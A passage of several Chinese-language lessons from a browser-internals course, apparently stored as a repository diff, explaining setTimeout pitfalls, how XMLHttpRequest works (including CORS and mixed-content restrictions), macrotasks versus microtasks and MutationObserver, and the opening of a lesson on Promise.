console.log(&quot;极客时间&quot;)
}
var timerID = setTimeout(showName,2147483648);//会被理解调用执行
```
运行后可以看到这段代码是立即被执行的。但如果将延时值修改为小于2147483647毫秒的某个值那么执行时就没有问题了。
### 5. 使用setTimeout设置的回调函数中的this不符合直觉
如果被setTimeout推迟执行的回调函数是某个对象的方法那么该方法中的this关键字将指向全局环境而不是定义时所在的那个对象。这点在前面介绍this的时候也提过你可以看下面这段代码的执行结果
```
var name= 1;
var MyObj = {
name: 2,
showName: function(){
console.log(this.name);
}
}
setTimeout(MyObj.showName,1000)
```
这里输出的是1因为这段代码在编译的时候执行上下文中的this会被设置为全局window如果是严格模式会被设置为undefined。
那么该怎么解决这个问题呢?通常可以使用下面这两种方法。
第一种是将`MyObj.showName`放在匿名函数中执行,如下所示:
```
//箭头函数
setTimeout(() =&gt; {
MyObj.showName()
}, 1000);
//或者function函数
setTimeout(function() {
MyObj.showName();
}, 1000)
```
第二种是使用bind方法将showName绑定在MyObj上面代码如下所示
```
setTimeout(MyObj.showName.bind(MyObj), 1000)
```
## 总结
好了,今天我们就介绍到这里,下面我来总结下今天的内容。
- 首先,为了支持定时器的实现,浏览器增加了延时队列。
- 其次由于消息队列排队和一些系统级别的限制通过setTimeout设置的回调任务并非总是可以实时地被执行这样就不能满足一些实时性要求较高的需求了。
- 最后,在定时器中使用过程中,还存在一些陷阱,需要你多加注意。
通过分析和讲解你会发现函数setTimeout在时效性上面有很多先天的不足所以对于一些时间精度要求比较高的需求应该有针对性地采取一些其他的方案。
## 思考时间
今天我们介绍了setTimeout相信你现在也知道它是怎么工作的了不过由于使用setTimeout设置的回调任务实时性并不是太好所以很多场景并不适合使用setTimeout。比如你要使用JavaScript来实现动画效果函数requestAnimationFrame就是个很好的选择。
那么今天留给你的作业是你需要网上搜索了解下requestAnimationFrame的工作机制并对比setTimeout然后分析出requestAnimationFrame实现的动画效果比setTimeout好的原因。
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,267 @@
<audio id="audio" title="17 | WebAPIXMLHttpRequest是怎么实现的" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/de/20/de4ad6ac13d014e62592d0499f68c820.mp3"></audio>
在[上一篇文章](https://time.geekbang.org/column/article/134456)中我们介绍了setTimeout是如何结合渲染进程的循环系统工作的那本篇文章我们就继续介绍另外一种类型的WebAPI——XMLHttpRequest。
自从网页中引入了JavaScript我们就可以操作DOM树中任意一个节点例如隐藏/显示节点、改变颜色、获得或改变文本内容、为元素添加事件响应函数等等, 几乎可以“为所欲为”了。
不过在XMLHttpRequest出现之前如果服务器数据有更新依然需要重新刷新整个页面。而XMLHttpRequest提供了从Web服务器获取数据的能力如果你想要更新某条数据只需要通过XMLHttpRequest请求服务器提供的接口就可以获取到服务器的数据然后再操作DOM来更新页面内容整个过程只需要更新网页的一部分就可以了而不用像之前那样还得刷新整个页面这样既有效率又不会打扰到用户。
关于XMLHttpRequest本来我是想一带而过的后来发现这个WebAPI用于教学非常好。首先前面讲了那么网络内容现在可以通过它把HTTP协议实践一遍其次XMLHttpRequest是一个非常典型的WebAPI通过它来讲解浏览器是如何实现WebAPI的很合适这对于你理解其他WebAPI也有非常大的帮助同时在这个过程中我们还可以把一些安全问题给串起来。
但在深入讲解XMLHttpRequest之前我们得先介绍下**同步回调**和**异步回调**这两个概念这会帮助你更加深刻地理解WebAPI是怎么工作的。
## 回调函数 VS 系统调用栈
那什么是回调函数呢Callback Function
将一个函数作为参数传递给另外一个函数,那作为参数的这个函数就是**回调函数**。简化的代码如下所示:
```
let callback = function(){
console.log('i am do homework')
}
function doWork(cb) {
console.log('start do work')
cb()
console.log('end do work')
}
doWork(callback)
```
在上面示例代码中我们将一个匿名函数赋值给变量callback同时将callback作为参数传递给了doWork()函数这时在函数doWork()中callback就是回调函数。
上面的回调方法有个特点就是回调函数callback是在主函数doWork返回之前执行的我们把这个回调过程称为**同步回调**。
既然有同步回调,那肯定也有异步回调。下面我们再来看看异步回调的例子:
```
let callback = function(){
console.log('i am do homework')
}
function doWork(cb) {
console.log('start do work')
setTimeout(cb,1000)
console.log('end do work')
}
doWork(callback)
```
在这个例子中我们使用了setTimeout函数让callback在doWork函数执行结束后又延时了1秒再执行这次callback并没有在主函数doWork内部被调用我们把这种回调函数在主函数外部执行的过程称为**异步回调**。
现在你应该知道什么是同步回调和异步回调了,那下面我们再深入点,站在消息循环的视角来看看同步回调和异步回调的区别。理解了这些,可以让你从本质上理解什么是回调。
我们还是先来回顾下页面的事件循环系统,通过[《15 | 消息队列和事件循环:页面是怎么“活”起来的?》](https://time.geekbang.org/column/article/132931)的学习你应该已经知道浏览器页面是通过事件循环机制来驱动的每个渲染进程都有一个消息队列页面主线程按照顺序来执行消息队列中的事件如执行JavaScript事件、解析DOM事件、计算布局事件、用户输入事件等等如果页面有新的事件产生那新的事件将会追加到事件队列的尾部。所以可以说是**消息队列和主线程循环机制保证了页面有条不紊地运行**。
这里还需要补充一点,那就是当循环系统在执行一个任务的时候,都要为这个任务维护一个**系统调用栈**。这个**系统调用栈**类似于JavaScript的调用栈只不过系统调用栈是Chromium的开发语言C++来维护的其完整的调用栈信息你可以通过chrome://tracing/来抓取。当然你也可以通过Performance来抓取它核心的调用信息如下图所示
<img src="https://static001.geekbang.org/resource/image/d3/77/d3d66afb1a103103e5c3f86c823efb77.png" alt="">
这幅图记录了一个Parse HTML的任务执行过程其中黄色的条目表示执行JavaScript的过程其他颜色的条目表示浏览器内部系统的执行过程。
通过该图你可以看出来Parse HTML任务在执行过程中会遇到一系列的子过程比如在解析页面的过程中遇到了JavaScript脚本那么就暂停解析过程去执行该脚本等执行完成之后再恢复解析过程。然后又遇到了样式表这时候又开始解析样式表……直到整个任务执行完成。
需要说明的是整个Parse HTML是一个完整的任务在执行过程中的脚本解析、样式表解析都是该任务的子过程其下拉的长条就是执行过程中调用栈的信息。
每个任务在执行过程中都有自己的调用栈,那么同步回调就是在当前主函数的上下文中执行回调函数,这个没有太多可讲的。下面我们主要来看看异步回调过程,异步回调是指回调函数在主函数之外执行,一般有两种方式:
- 第一种是把异步函数做成一个任务,添加到信息队列尾部;
- 第二种是把异步函数添加到微任务队列中,这样就可以在当前任务的末尾处执行微任务了。
## XMLHttpRequest运作机制
理解了什么是同步回调和异步回调接下来我们就来分析XMLHttpRequest背后的实现机制具体工作过程你可以参考下图
<img src="https://static001.geekbang.org/resource/image/29/c6/2914a052f4f249a52077692a22ee5cc6.png" alt="">
这是XMLHttpRequest的总执行流程图下面我们就来分析从发起请求到接收数据的完整流程。
我们先从XMLHttpRequest的用法开始首先看下面这样一段请求代码
```
function GetWebData(URL){
/**
* 1:新建XMLHttpRequest请求对象
*/
let xhr = new XMLHttpRequest()
/**
* 2:注册相关事件回调处理函数
*/
xhr.onreadystatechange = function () {
switch(xhr.readyState){
case 0: //请求未初始化
console.log(&quot;请求未初始化&quot;)
break;
case 1://OPENED
console.log(&quot;OPENED&quot;)
break;
case 2://HEADERS_RECEIVED
console.log(&quot;HEADERS_RECEIVED&quot;)
break;
case 3://LOADING
console.log(&quot;LOADING&quot;)
break;
case 4://DONE
if(this.status == 200||this.status == 304){
console.log(this.responseText);
}
console.log(&quot;DONE&quot;)
break;
}
}
xhr.ontimeout = function(e) { console.log('ontimeout') }
xhr.onerror = function(e) { console.log('onerror') }
/**
* 3:打开请求
*/
xhr.open('Get', URL, true);//创建一个Get请求,采用异步
/**
* 4:配置参数
*/
xhr.timeout = 3000 //设置xhr请求的超时时间
xhr.responseType = &quot;text&quot; //设置响应返回的数据格式
xhr.setRequestHeader(&quot;X_TEST&quot;,&quot;time.geekbang&quot;)
/**
* 5:发送请求
*/
xhr.send();
}
```
上面是一段利用了XMLHttpRequest来请求数据的代码再结合上面的流程图我们可以分析下这段代码是怎么执行的。
**第一步创建XMLHttpRequest对象。**
当执行到`let xhr = new XMLHttpRequest()`JavaScript会创建一个XMLHttpRequest对象**xhr**,用来执行实际的网络请求操作。
**第二步为xhr对象注册回调函数。**
因为网络请求比较耗时,所以要注册回调函数,这样后台任务执行完成之后就会通过调用回调函数来告诉其执行结果。
XMLHttpRequest的回调函数主要有下面几种
- ontimeout用来监控超时请求如果后台请求超时了该函数会被调用
- onerror用来监控出错信息如果后台请求出错了该函数会被调用
- onreadystatechange用来监控后台请求过程中的状态比如可以监控到HTTP头加载完成的消息、HTTP响应体消息以及数据加载完成的消息等。
**第三步:配置基础的请求信息。**
注册好回调事件之后接下来就需要配置基础的请求信息了首先要通过open接口配置一些基础的请求信息包括请求的地址、请求方法是get还是post和请求方式同步还是异步请求
然后通过xhr内部属性类配置一些其他可选的请求信息你可以参考文中示例代码我们通过`xhr.timeout = 3000`来配置超时时间也就是说如果请求超过3000毫秒还没有响应那么这次请求就被判断为失败了。
我们还可以通过`xhr.responseType = "text"`来配置服务器返回的格式将服务器返回的数据自动转换为自己想要的格式如果将responseType的值设置为json那么系统会自动将服务器返回的数据转换为JavaScript对象格式。下面的图表是我列出的一些返回类型的描述
<img src="https://static001.geekbang.org/resource/image/85/bf/856d1965676fafa46122e3ad1235dfbf.png" alt="">
假如你还需要添加自己专用的请求头属性可以通过xhr.setRequestHeader来添加。
**第四步:发起请求。**
一切准备就绪之后,就可以调用`xhr.send`来发起网络请求了。你可以对照上面那张请求流程图可以看到渲染进程会将请求发送给网络进程然后网络进程负责资源的下载等网络进程接收到数据之后就会利用IPC来通知渲染进程渲染进程接收到消息之后会将xhr的回调函数封装成任务并添加到消息队列中等主线程循环系统执行到该任务的时候就会根据相关的状态来调用对应的回调函数。
- 如果网络请求出错了就会执行xhr.onerror
- 如果超时了就会执行xhr.ontimeout
- 如果是正常的数据接收就会执行onreadystatechange来反馈相应的状态。
这就是一个完整的XMLHttpRequest请求流程如果你感兴趣可以参考下Chromium对XMLHttpRequest的实现[点击这里查看代码](https://chromium.googlesource.com/chromium/src/+/refs/heads/master/third_party/blink/renderer/core/xmlhttprequest/)。
## XMLHttpRequest使用过程中的“坑”
上述过程看似简单,但由于浏览器很多安全策略的限制,所以会导致你在使用过程中踩到非常多的“坑”。
浏览器安全问题是前端工程师避不开的一道坎,通常在使用过程中遇到的“坑”,很大一部分都是由安全策略引起的,不管你喜不喜欢,它都在这里。本来很完美的一个方案,正是由于加了安全限制,导致使用起来非常麻烦。
而你要做的就是去正视这各种的安全问题。也就是说要想更加完美地使用XMLHttpRequest你就要了解浏览器的安全策略。
下面我们就来看看在使用XMLHttpRequest的过程中所遇到的跨域问题和混合内容问题。
### 1. 跨域问题
比如在极客邦的官网使用XMLHttpRequest请求极客时间的页面内容由于极客邦的官网是[www.geekbang.org](https://www.geekbang.org),极客时间的官网是[time.geekbang.org](https://time.geekbang.org)它们不是同一个源所以就涉及到了跨域在A站点中去访问不同源的B站点的内容。默认情况下跨域请求是不被允许的你可以看下面的示例代码
```
var xhr = new XMLHttpRequest()
var url = 'https://time.geekbang.org/'
function handler() {
switch(xhr.readyState){
case 0: //请求未初始化
console.log(&quot;请求未初始化&quot;)
break;
case 1://OPENED
console.log(&quot;OPENED&quot;)
break;
case 2://HEADERS_RECEIVED
console.log(&quot;HEADERS_RECEIVED&quot;)
break;
case 3://LOADING
console.log(&quot;LOADING&quot;)
break;
case 4://DONE
if(this.status == 200||this.status == 304){
console.log(this.responseText);
}
console.log(&quot;DONE&quot;)
break;
}
}
function callOtherDomain() {
if(xhr) {
xhr.open('GET', url, true)
xhr.onreadystatechange = handler
xhr.send();
}
}
callOtherDomain()
```
你可以在控制台测试下。首先通过浏览器打开[www.geekbang.org](https://www.geekbang.org)然后打开控制台在控制台输入以上示例代码再执行会看到请求被Block了。控制台的提示信息如下
```
Access to XMLHttpRequest at 'https://time.geekbang.org/' from origin 'https://www.geekbang.org' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
```
因为 www.geekbang.org 和 time.geekbang.com 不属于一个域,所以以上访问就属于跨域访问了,这次访问失败就是由于跨域问题导致的。
### 2. HTTPS混合内容的问题
了解完跨域问题后我们再来看看HTTPS的混合内容。HTTPS混合内容是HTTPS页面中包含了不符合HTTPS安全要求的内容比如包含了HTTP资源通过HTTP加载的图像、视频、样式表、脚本等都属于混合内容。
通常如果HTTPS请求页面中使用混合内容浏览器会针对HTTPS混合内容显示警告用来向用户表明此HTTPS页面包含不安全的资源。比如打开站点 [https://www.iteye.com/groups](https://www.iteye.com/groups) ,可以通过控制台看到混合内容的警告,参考下图:
<img src="https://static001.geekbang.org/resource/image/4b/63/4b4a210a1e078d9a26fe31e6eab34963.png" alt="">
从上图可以看出通过HTML文件加载的混合资源虽然给出警告但大部分类型还是能加载的。而使用XMLHttpRequest请求时浏览器认为这种请求可能是攻击者发起的会阻止此类危险的请求。比如我通过浏览器打开地址 [https://www.iteye.com/groups](https://www.iteye.com/groups) 然后通过控制台使用XMLHttpRequest来请求 [http://img-ads.csdn.net/2018/201811150919211586.jpg](http://img-ads.csdn.net/2018/201811150919211586.jpg) ,这时候请求就会报错,出错信息如下图所示:
<img src="https://static001.geekbang.org/resource/image/46/a1/46c22d4e54815942c1a86f11b14516a1.png" alt="">
## 总结
好了,今天我们就讲到这里,下面我来总结下今天的内容。
首先我们介绍了回调函数和系统调用栈接下来我们站在循环系统的视角分析了XMLHttpRequest是怎么工作的最后又说明了由于一些安全因素的限制在使用XMLHttpRequest的过程中会遇到跨域问题和混合内容的问题。
本篇文章跨度比较大,不是单纯地讲一个问题,而是将回调类型、循环系统、网络请求和安全问题“串联”起来了。
对比[上一篇文章](https://time.geekbang.org/column/article/134456)setTimeout是直接将延迟任务添加到延迟队列中而XMLHttpRequest发起请求是由浏览器的其他进程或者线程去执行然后再将执行结果利用IPC的方式通知渲染进程之后渲染进程再将对应的消息添加到消息队列中。如果你搞懂了setTimeout和XMLHttpRequest的工作机制后再来理解其他WebAPI就会轻松很多了因为大部分WebAPI的工作逻辑都是类似的。
## 思考时间
网络安全很重要但是又很容易被忽视因为项目需求很少涉及到基础的Web安全。如果忽视了这些基础安全策略在开发过程中会处处遇到安全策略挖下的“大坑”所以对于一名开发者来说Web安全理论很重要也必须要学好。
那么今天我留给你一道开放性的思考题你认为作为一名开发工程师要如何去高效地学习前端的Web安全理论呢
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,200 @@
<audio id="audio" title="18 | 宏任务和微任务:不是所有任务都是一个待遇" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/7d/2c/7d3cb9fb9c5345a87d1485249e2ad72c.mp3"></audio>
在前面几篇文章中我们介绍了消息队列并结合消息队列介绍了两种典型的WebAPI——**setTimeout**和**XMLHttpRequest**通过这两个WebAPI我们搞清楚了浏览器的消息循环系统是怎么工作的。不过随着浏览器的应用领域越来越广泛消息队列中这种粗时间颗粒度的任务已经不能胜任部分领域的需求所以又出现了一种新的技术——**微任务**。**微任务可以在实时性和效率之间做一个有效的权衡**。
从目前的情况来看微任务已经被广泛地应用基于微任务的技术有MutationObserver、Promise以及以Promise为基础开发出来的很多其他的技术。所以微任务的重要性也与日俱增了解其底层的工作原理对于你读懂别人的代码以及写出更高效、更具现代的代码有着决定性的作用。
有微任务,也就有宏任务,那这二者到底有什么区别?它们又是如何相互取长补短的?
## 宏任务
前面我们已经介绍过了,页面中的大部分任务都是在主线程上执行的,这些任务包括了:
- 渲染事件如解析DOM、计算布局、绘制
- 用户交互事件(如鼠标点击、滚动页面、放大缩小等);
- JavaScript脚本执行事件
- 网络请求完成、文件读写完成事件。
为了协调这些任务有条不紊地在主线程上执行页面进程引入了消息队列和事件循环机制渲染进程内部会维护多个消息队列比如延迟执行队列和普通的消息队列。然后主线程采用一个for循环不断地从这些任务队列中取出任务并执行任务。我们把这些消息队列中的任务称为**宏任务**。
消息队列中的任务是通过事件循环系统来执行的,这里我们可以看看在[WHATWG规范](https://html.spec.whatwg.org/multipage/webappapis.html#event-loop-processing-model)中是怎么定义事件循环机制的。
由于规范需要支持语义上的完备性所以通常写得都会比较啰嗦这里我就大致总结了下WHATWG规范定义的大致流程
- 先从多个消息队列中选出一个最老的任务这个任务称为oldestTask
- 然后循环系统记录任务开始执行的时间并把这个oldestTask设置为当前正在执行的任务
- 当任务执行完成之后删除当前正在执行的任务并从对应的消息队列中删除掉这个oldestTask
- 最后统计执行完成的时长等信息。
以上就是消息队列中宏任务的执行过程,通过前面的学习,相信你也很熟悉这套执行流程了。
宏任务可以满足我们大部分的日常需求,不过如果有对时间精度要求较高的需求,宏任务就难以胜任了,下面我们就来分析下为什么宏任务难以满足对时间精度要求较高的任务。
前面我们说过页面的渲染事件、各种IO的完成事件、执行JavaScript脚本的事件、用户交互的事件等都随时有可能被添加到消息队列中而且添加事件是由系统操作的JavaScript代码不能准确掌控任务要添加到队列中的位置控制不了任务在消息队列中的位置所以很难控制开始执行任务的时间。为了直观理解你可以看下面这段代码
```
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;body&gt;
&lt;div id='demo'&gt;
&lt;ol&gt;
&lt;li&gt;test&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
function timerCallback2(){
console.log(2)
}
function timerCallback(){
console.log(1)
setTimeout(timerCallback2,0)
}
setTimeout(timerCallback,0)
&lt;/script&gt;
&lt;/html&gt;
```
在这段代码中我的目的是想通过setTimeout来设置两个回调任务并让它们按照前后顺序来执行中间也不要再插入其他的任务因为如果这两个任务的中间插入了其他的任务就很有可能会影响到第二个定时器的执行时间了。
但实际情况是我们不能控制的比如在你调用setTimeout来设置回调任务的间隙消息队列中就有可能被插入很多系统级的任务。你可以打开Performance工具来记录下这段任务的执行过程也可参考文中我记录的图片
<img src="https://static001.geekbang.org/resource/image/3c/15/3c2b9b474c4df544df61ebd62a7b3715.png" alt="">
setTimeout函数触发的回调函数都是宏任务如图中左右两个黄色块就是setTimeout触发的两个定时器任务。
现在你可以重点观察上图中间浅红色区域,这里有很多一段一段的任务,这些是被渲染引擎插在两个定时器任务中间的任务。试想一下,如果中间被插入的任务执行时间过久的话,那么就会影响到后面任务的执行了。
所以说宏任务的时间粒度比较大执行的时间间隔是不能精确控制的对一些高实时性的需求就不太符合了比如后面要介绍的监听DOM变化的需求。
## 微任务
在理解了宏任务之后,下面我们就可以来看看什么是微任务了。在[上一篇文章](https://time.geekbang.org/column/article/135127)中,我们介绍过异步回调的概念,其主要有两种方式。
**第一种是把异步回调函数封装成一个宏任务,添加到消息队列尾部,当循环系统执行到该任务的时候执行回调函数**。这种比较好理解我们前面介绍的setTimeout和XMLHttpRequest的回调函数都是通过这种方式来实现的。
**第二种方式的执行时机是在主函数执行结束之后、当前宏任务结束之前执行回调函数,这通常都是以微任务形式体现的。**
那这里说的微任务到底是什么呢?
**微任务就是一个需要异步执行的函数,执行时机是在主函数执行结束之后、当前宏任务结束之前。**
不过要搞清楚微任务系统是怎么运转起来的就得站在V8引擎的层面来分析下。
我们知道当JavaScript执行一段脚本的时候V8会为其创建一个全局执行上下文在创建全局执行上下文的同时V8引擎也会在内部创建一个**微任务队列**。顾名思义这个微任务队列就是用来存放微任务的因为在当前宏任务执行的过程中有时候会产生多个微任务这时候就需要使用这个微任务队列来保存这些微任务了。不过这个微任务队列是给V8引擎内部使用的所以你是无法通过JavaScript直接访问的。
也就是说每个宏任务都关联了一个微任务队列。那么接下来,我们就需要分析两个重要的时间点——微任务产生的时机和执行微任务队列的时机。
我们先来看看微任务是怎么产生的?在现代浏览器里面,产生微任务有两种方式。
第一种方式是使用MutationObserver监控某个DOM节点然后再通过JavaScript来修改这个节点或者为这个节点添加、删除部分子节点当DOM节点发生变化时就会产生DOM变化记录的微任务。
第二种方式是使用Promise当调用Promise.resolve()或者Promise.reject()的时候,也会产生微任务。
通过DOM节点变化产生的微任务或者使用Promise产生的微任务都会被JavaScript引擎按照顺序保存到微任务队列中。
好了,现在微任务队列中有了微任务了,那接下来就要看看微任务队列是何时被执行的。
通常情况下在当前宏任务中的JavaScript快执行完成时也就在JavaScript引擎准备退出全局执行上下文并清空调用栈的时候JavaScript引擎会检查全局执行上下文中的微任务队列然后按照顺序执行队列中的微任务。**WHATWG把执行微任务的时间点称为检查点**。当然除了在退出全局执行上下文式这个检查点之外,还有其他的检查点,不过不是太重要,这里就不做介绍了。
如果在执行微任务的过程中产生了新的微任务同样会将该微任务添加到微任务队列中V8引擎一直循环执行微任务队列中的任务直到队列为空才算执行结束。也就是说在执行微任务过程中产生的新的微任务并不会推迟到下个宏任务中执行而是在当前的宏任务中继续执行。
为了直观地理解什么是微任务,你可以参考下面我画的示意图(由于内容比较多,我将其分为了两张):
<img src="https://static001.geekbang.org/resource/image/83/88/839f468be3d683019c309e0acd8cd788.png" alt="">
<img src="https://static001.geekbang.org/resource/image/1d/92/1db319c879610816c0cfea22723fc492.png" alt="">
该示意图是在执行一个ParseHTML的宏任务在执行过程中遇到了JavaScript脚本那么就暂停解析流程进入到JavaScript的执行环境。从图中可以看到全局上下文中包含了微任务列表。
在JavaScript脚本的后续执行过程中分别通过Promise和removeChild创建了两个微任务并被添加到微任务列表中。接着JavaScript执行结束准备退出全局执行上下文这时候就到了检查点了JavaScript引擎会检查微任务列表发现微任务列表中有微任务那么接下来依次执行这两个微任务。等微任务队列清空之后就退出全局执行上下文。
以上就是微任务的工作流程,从上面分析我们可以得出如下几个**结论**
- 微任务和宏任务是绑定的,每个宏任务在执行时,会创建自己的微任务队列。
- 微任务的执行时长会影响到当前宏任务的时长。比如一个宏任务在执行过程中产生了100个微任务执行每个微任务的时间是10毫秒那么执行这100个微任务的时间就是1000毫秒也可以说这100个微任务让宏任务的执行时间延长了1000毫秒。所以你在写代码的时候一定要注意控制微任务的执行时长。
- 在一个宏任务中,分别创建一个用于回调的宏任务和微任务,无论什么情况下,微任务都早于宏任务执行。
## 监听DOM变化方法演变
现在知道了微任务是怎么工作的那接下来我们再来看看微任务是如何应用在MutationObserver中的。MutationObserver是用来监听DOM变化的一套方法而监听DOM变化一直是前端工程师一项非常核心的需求。
比如许多Web应用都利用HTML 与 JavaScript 构建其自定义控件与一些内置控件不同这些控件不是固有的。为了与内置控件一起良好地工作这些控件必须能够适应内容更改、响应事件和用户交互。因此Web应用需要**监视 DOM 变化并及时地做出响应**。
虽然监听DOM的需求是如此重要不过早期页面并没有提供对监听的支持所以那时要观察DOM是否变化唯一能做的就是轮询检测比如使用setTimeout或者setInterval来定时检测DOM是否有改变。这种方式简单粗暴但是会遇到两个问题如果时间间隔设置过长DOM 变化响应不够及时反过来如果时间间隔设置过短又会浪费很多无用的工作量去检查DOM会让页面变得低效。
直到2000年的时候引入了Mutation EventMutation Event采用了**观察者的设计模式**当DOM 有变动时就会立刻触发相应的事件,这种方式属于同步回调。
采用Mutation Event解决了实时性的问题因为DOM一旦发生变化就会立即调用JavaScript接口。但也正是这种实时性造成了严重的性能问题因为每次DOM变动渲染引擎都会去调用JavaScript这样会产生较大的性能开销。比如利用JavaScript动态创建或动态修改50个节点内容就会触发50次回调而且每个回调函数都需要一定的执行时间这里我们假设每次回调的执行时间是4毫秒那么50次回调的执行时间就是200毫秒若此时浏览器正在执行一个动画效果由于Mutation Event触发回调事件就会导致动画的卡顿。
也正是因为使用Mutation Event会导致页面性能问题所以Mutation Event被反对使用并逐步从Web标准事件中删除了。
为了解决了Mutation Event由于同步调用JavaScript而造成的性能问题从DOM4开始推荐使用 MutationObserver 来代替 Mutation Event。MutationObserver API 可以用来监视 DOM 的变化,包括属性的变化、节点的增减、内容的变化等。
那么相比较 Mutation EventMutationObserver 到底做了哪些改进呢?
首先MutationObserver将响应函数改成异步调用可以不用在每次DOM变化都触发异步调用而是等多次DOM变化后**一次触发异步调用**并且还会使用一个数据结构来记录这期间所有的DOM变化。这样即使频繁地操纵DOM也不会对性能造成太大的影响。
我们通过异步调用和减少触发次数来缓解了性能问题那么如何保持消息通知的及时性呢如果采用setTimeout创建宏任务来触发回调的话那么实时性就会大打折扣因为上面我们分析过在两个任务之间可能会被渲染进程插入其他的事件从而影响到响应的实时性。
这时候,**微任务**就可以上场了在每次DOM节点发生变化的时候渲染引擎将变化记录封装成微任务并将微任务添加进当前的微任务队列中。这样当执行到检查点的时候V8引擎就会按照顺序执行微任务了。
综上所述, MutationObserver采用了“**异步+微任务**”的策略。
- 通过**异步**操作解决了同步操作的**性能问题**
- 通过**微任务**解决了**实时性的问题**。
## 总结
好了,今天就介绍到这里,下面我来总结下今天的内容。
首先我们回顾了宏任务,然后在宏任务的基础之上,我们分析了异步回调函数的两种形式,其中最后一种回调的方式就是通过微任务来实现的。
接下来我们详细分析了浏览器是如何实现微任务的,包括微任务队列、检查点等概念。
最后我们介绍了监听DOM变化技术方案的演化史从轮询到Mutation Event再到最新使用的MutationObserver。MutationObserver方案的核心就是采用了微任务机制有效地权衡了实时性和执行效率的问题。
## 思考时间
下篇文章我会从Promise产生的动机角度来分析Promise这需要一定的Promise基础所以今天留给你的作业是搞清楚Promise的工作原理弄清楚下面这段代码的输出结果并解释其原因。
```
function executor(resolve, reject) {
let rand = Math.random();
console.log(1)
console.log(rand)
if (rand &gt; 0.5)
resolve()
else
reject()
}
var p0 = new Promise(executor);
var p1 = p0.then((value) =&gt; {
console.log(&quot;succeed-1&quot;)
return new Promise(executor)
})
var p3 = p1.then((value) =&gt; {
console.log(&quot;succeed-2&quot;)
return new Promise(executor)
})
var p4 = p3.then((value) =&gt; {
console.log(&quot;succeed-3&quot;)
return new Promise(executor)
})
p4.catch((error) =&gt; {
console.log(&quot;error&quot;)
})
console.log(2)
```
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,403 @@
<audio id="audio" title="19 | Promise使用Promise告别回调函数" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/5d/d5/5d274a6224f1747def8b25849a8dded5.mp3"></audio>
在[上一篇文章](https://time.geekbang.org/column/article/135624)中我们聊到了微任务是如何工作的并介绍了MutationObserver是如何利用微任务来权衡性能和效率的。今天我们就接着来聊聊微任务的另外一个应用**Promise**DOM/BOM API中新加入的API大多数都是建立在Promise上的而且新的前端框架也使用了大量的Promise。可以这么说Promise已经成为现代前端的“水”和“电”很是关键所以深入学习Promise势在必行。
不过Promise的知识点有那么多而我们只有一篇文章来介绍那应该怎么讲解呢具体讲解思路是怎样的呢
如果你想要学习一门新技术最好的方式是先了解这门技术是如何诞生的以及它所解决的问题是什么。了解了这些后你才能抓住这门技术的本质。所以本文我们就来重点聊聊JavaScript引入Promise的动机以及解决问题的几个核心关键点。
要谈动机我们一般都是先从问题切入那么Promise到底解决了什么问题呢在正式开始介绍之前我想有必要明确下Promise解决的是异步编码风格的问题而不是一些其他的问题所以接下来我们聊的话题都是围绕编码风格展开的。
## 异步编程的问题:代码逻辑不连续
首先我们来回顾下JavaScript的异步编程模型你应该已经非常熟悉页面的事件循环系统了也知道页面中任务都是执行在主线程之上的相对于页面来说主线程就是它整个的世界所以在执行一项耗时的任务时比如下载网络文件任务、获取摄像头等设备信息任务这些任务都会放到页面主线程之外的进程或者线程中去执行这样就避免了耗时任务“霸占”页面主线程的情况。你可以结合下图来看看这个处理过程
<img src="https://static001.geekbang.org/resource/image/01/85/01e40e30db7e8a91eb70ce02fd8a6985.png" alt="">
上图展示的是一个标准的异步编程模型,页面主线程发起了一个耗时的任务,并将任务交给另外一个进程去处理,这时页面主线程会继续执行消息队列中的任务。等该进程处理完这个任务后,会将该任务添加到渲染进程的消息队列中,并排队等待循环系统的处理。排队结束之后,循环系统会取出消息队列中的任务进行处理,并触发相关的回调操作。
这就是页面编程的一大特点:**异步回调**。
Web页面的单线程架构决定了异步回调而异步回调影响到了我们的编码方式到底是如何影响的呢
假设有一个下载的需求使用XMLHttpRequest来实现具体的实现方式你可以参考下面这段代码
```
//执行状态
function onResolve(response){console.log(response) }
function onReject(error){console.log(error) }
let xhr = new XMLHttpRequest()
xhr.ontimeout = function(e) { onReject(e)}
xhr.onerror = function(e) { onReject(e) }
xhr.onreadystatechange = function () { onResolve(xhr.response) }
//设置请求类型请求URL是否同步信息
let URL = 'https://time.geekbang.com'
xhr.open('Get', URL, true);
//设置参数
xhr.timeout = 3000 //设置xhr请求的超时时间
xhr.responseType = &quot;text&quot; //设置响应返回的数据格式
xhr.setRequestHeader(&quot;X_TEST&quot;,&quot;time.geekbang&quot;)
//发出请求
xhr.send();
```
我们执行上面这段代码,可以正常输出结果的。但是,这短短的一段代码里面竟然出现了五次回调,这么多的回调会导致代码的逻辑不连贯、不线性,非常不符合人的直觉,这就是异步回调影响到我们的编码方式。
那有什么方法可以解决这个问题吗?当然有,我们可以封装这堆凌乱的代码,降低处理异步回调的次数。
## 封装异步代码,让处理流程变得线性
由于我们重点关注的是**输入内容(请求信息)<strong>和**输出内容(回复信息)</strong>,至于中间的异步请求过程,我们不想在代码里面体现太多,因为这会干扰核心的代码逻辑。整体思路如下图所示:
<img src="https://static001.geekbang.org/resource/image/83/5c/83dd5231c2e36c636c61af6a6dc80a5c.png" alt="">
从图中你可以看到我们将XMLHttpRequest请求过程的代码封装起来了重点关注输入数据和输出结果。
那我们就按照这个思路来改造代码。首先我们把输入的HTTP请求信息全部保存到一个request的结构中包括请求地址、请求头、请求方式、引用地址、同步请求还是异步请求、安全设置等信息。request结构如下所示
```
//makeRequest用来构造request对象
